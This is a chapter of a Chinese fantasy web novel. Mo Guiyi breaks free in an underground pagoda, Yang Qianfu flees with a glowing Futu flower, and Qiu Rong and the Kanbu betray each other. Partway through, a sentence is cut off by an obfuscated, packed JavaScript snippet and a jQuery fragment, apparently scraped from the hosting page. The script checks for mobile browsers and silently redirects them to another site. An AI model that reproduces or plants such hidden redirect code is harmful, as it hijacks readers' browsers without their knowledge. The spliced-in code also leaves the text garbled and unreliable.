莫归一醒来时头痛欲裂,缓了片刻他才发现自己浑身上下都缠绕着邪乎的金色细线。
手脚都被划开了一道流淌着血液的口子,血顺着丝线向下低落,砸在底部的正中央,
此时他被这些细线吊在半空中,周遭的景致看上去有些眼熟,再一看他便想起来这是什么地方。
是之前临安通幽寺中的地下佛塔。两座佛塔的陈设几乎完全一致,只是底端的不是什么水井,而是一个突出的剑冢。
那把被他背了一路的三钴降魔剑正稳稳当当的插在佛塔中央,倒像是物归原主了。
血液滋养着剑身,此时三钴剑上那些符咒被撕了个一干二净,原本的寒铁剑身暴露在外,映射着妖异的烛光。
真是奇怪,他方才怎么会昏迷过去?原本计划中,他们将计就计被送进来后应该只会被暂时关押,在法会结束后堪布才有机会处理他们。
莫归一不动声色的闭上眼,闭气凝神假装自己还在昏迷当中。
他的正下方站了两人,正观摩着正中央的剑,似乎还没察觉他已经醒来。
“我回来了。”仇荣揭开掩盖住面容的斗篷,看向堪布的眼神如同注视着一个死物。
堪布却一点也不意外他的汉人面孔,连一个正眼也不愿施舍给仇荣,只专心看着不断吸收血液的三钴剑并不应声。这样的态度显然激怒了仇荣,可此时他却意外的沉得住气。
露出一个皮笑肉不笑的笑容,仇荣又道:“按我说的做,以后你不必再找新的执剑人。”
“可是我不信你。”堪布终于有了反应,他审视看向仇荣,缓缓摇了摇头:“你不可能放得下弥落,也不可能真心与我合作。”
“你应该清楚,我绝不会做出不利于图什的事。我是真的憎恨你,但也是真心想弥补我曾经的过错。”此时仇荣所言的确发自肺腑。
要是那时被献祭的是他,现在的幻境就不会依赖于新执剑人的力量存在,也不用不断的重置轮回。
堪布最终叹息一声,曾几何时这位王储也是他最得意的学生。他当然知道图什对他的重要性,但姐姐对他而言同样重要。
“答应你的条件不难,但你先告诉我,你是怎么知道这个办法的。”堪布睁开眼,锐利的看向仇荣。
仇荣轻笑一声,意有所指的看向长剑所在:“通天页。”
就在此时,莫归一察觉了下方两人的意图,猛然睁开了眼。
长剑下的地道中,怀中揣着通天页的杨千福打了一个哆嗦。方才裴曜交代他在这蹲着等他们完事,随后留下一盏灯就顺着通道走的没了影。
眼看油灯就要烧到底,杨千福不禁有些焦急了。忽然,上面传来一阵地动山摇的死动静,碎石从天而降,激起一地的尘埃。
不好,洞穴要塌了!
两边都毫无可以躲避的地方,杨千福绝望的想到自己可能就要在这被活埋了,于是蹲下抱紧了头部。
但过了一会,这动静忽然停了下来。
杨千福眯起眼睛看向外面,就发现头顶有一束光打了下来。原本插在剑冢的长剑被人拔出,剑冢四分五裂的崩塌,露出一个不大的洞口。
“找到你了。”
三双眼睛齐齐的锁定了着匿于地下的杨千福,一瞬间杨千福汗毛倒竖一动也不敢动。
“弥落殿下死后,这同样身为国宝的书就不知下落,原来是在你身上。”堪布恍然大悟的看向杨千福。
拔出长剑的那人却是莫归一,他侧身一步挡住了另外两人的视线,回眸看向身后剑冢下坍塌出的洞口,与杨千福对上了目光。
持着那把褪去了符纸的三锋长剑,莫归一手腕处流出的血液顺着剑身流淌而下砸在地上,恰有一滴落入了洞口砸在杨千福的面颊上,如同泪滴一般落下。
杨千福愣神的摸了摸面颊上那温热的血,此时他看见了比这些变故更加不可思议的一幕。
剑尖之处开出了一朵莹白的花,这是浮屠花。
再仔细一看,这花并非生长在剑刃上,而是被放上去后根茎死死的盘绕着剑身,吸取着剑中的养分。
此时这花吸够了养分,花瓣水嫩的舒展开来。莫归一也反应过来这花是什么东西,于是一甩剑尖将花抖落入洞中。
杨千福连忙伸手接住花瓣,捧着花朝上喊道:“小心身后!”
只见堪布与仇荣站在两段,堪布向前抬手,那刚刚被莫归一挣脱的丝线再次从四面八方向他蔓延而来。这一次的线并非先前的幻术,而是真实的实体。
现在莫归一认出来了这些丝线究竟是什么东西。与缠绕在剑身上的根茎如出一辙,这些丝线都是无法开花的浮屠花根茎。
一剑斩断这乱麻般的根茎,莫归一朝杨千福喊道:“你带着花先走,我会来寻你。”
无穷无尽的根茎在堪布的催生下不断干扰着莫归一的视线,而仇荣的纸人分身就藏在这些丝线之后,斩开一片交织成网的丝线后,纸人又会持着匕首从中钻出刺向莫归一。
堪布还带着几分活捉的心思,但仇荣的每一招都是防不胜防的杀招。
莫归一向后一跃避开刺向要害的匕首,又回身一脚踢开身后袭来的另一个纸人。据他观察,仇荣的纸人虽然杀不完,但每次最多只能操纵三个纸人。
继续纠缠下去对他不利,现在他只能暂时抑制剑对他的影响,想必这两人打着的也是消耗他的主意。心中有了决断,莫归一左手捏成剑指抹了一撇执剑手腕的血液,在剑刃上绘出一道符箓
下一刻剑上燃起了幽蓝色的火焰,莫归一抬眸,挥剑斩向面前这层层叠叠的天罗地网,瞬间烈焰灼烧了目之所及处的所有根茎,沿着金色细线蔓延开来。
褪去了遮挡,莫归一看向对面的仇荣,眼中闪过一瞬寒光。
他是该好好算一算秦关村的仇了。
佛塔地上神仙打架,佛塔底下扬起一阵飞沙走石,眼看这条地道支撑不了多久,杨千福拿起油灯撒丫子就跑。
前面的岔路口众多,他也不知道自己前进的方向通往何方,可他知道这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497530|202570||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种情况下自己一定不能停留在原地。
洞穴逐渐变的静谧起来,吵杂的打斗声都被远远甩在了身后。不知过了多久,油灯灯丝烧到了尽头,洞穴陷入了一片漆黑。杨千福还是不敢停下脚步,将熄灭的油灯抛开,他放缓脚步摸着黑向前走去。
怀中抱着的花在这无边的黑暗中散发着微弱的光芒,给了他一丝安慰。忽然,杨千福发现眼前有一束圆圆的光离他越来越近了。
是出口吗?杨千福不太确定的向前走去,等看清了这光团究竟是何物时他被吓得一个激灵。
“这是要去哪啊?”仇荣笑眯眯的提着灯笼,堵住了前进的道路。
杨千福转身就要往后逃去,但刚刚踩中身后的地面,一连串的丝线瞬间从石缝中拔地而出缠绕在他身上。
这个仇荣看上去不像假货,那上面那个仇荣又是什么情况?难道他们又被裴重阳骗了?
见无力反抗,杨千福认命的朝仇荣道:“您这又是玩的哪一出?要杀要剐悉听尊便,我只求能死个明白。”
“我现在不打算杀你了,现在乖乖跟我去个地方。”上前拔出这些坚韧的根茎攥在手里,仇荣拖拽着杨千福向前走去,不做正面回答。
杨千福被拖的一个踉跄,只好在心中安慰自己,人跟狗讲话是说不通的。反正死不了,他倒要看看仇荣肚子里憋的是什么坏水。
同时的佛塔之中,莫归一瞳孔微缩,就这一瞬的迟疑才导致他没能躲开扑面而来的一片热血。
杀人的刀不在他手中,被杀的人也并不是他。
仇荣本是冲他而来的匕首居然一拐方向,对准了他面前的堪布,与此同时堪布操纵的浮屠花根茎穿过了仇荣的胸口。
却不曾想被刺中的仇荣居然原地消失,只留下一小片胸前染血的纸人缓缓飘落无火自燃。
撕开了伪装的假面,这对师生朝对方露出了锋利的爪牙。
莫归一仿佛成了一个局外人,方才还联手攻向他的两人毫无征兆的起了内讧,开始自相残杀起来。
“呵呵,这么着急要我的命吗?”堪布拔出穿透胸口的匕首,原本应该被扎了个窟窿的伤口正在以极快的速度自愈着。
仇荣本体的声音从佛塔阶梯上传来:“老东西,你不也想杀我很久了?当年害你变成这幅鬼样子你应该把我恨惨了吧?”
刚才那应该是最后一个纸人替身,此时仇荣本体面色惨白,扶着围栏猛地咳嗽几声,嘴角溢出丝丝血线。
“莫归一,你还在等什么,快对堪布动手啊!”仇荣催促的对着莫归一道。
堪布却有持无恐的摇摇头:“真正想要你命的人可不是我。”
莫归一却没有应声。现在他看似是这里唯一的正常人,但他手中毫无禁制的三钴剑已经悄然泛起了一阵妖异的红光。
终于抬起眼眸,他的眼中却已变得一片混浊。
“为何要选?你们两个人今天都出不了这个门。”
说完,这柄剑抬起,优先刺向了阶梯之上的人。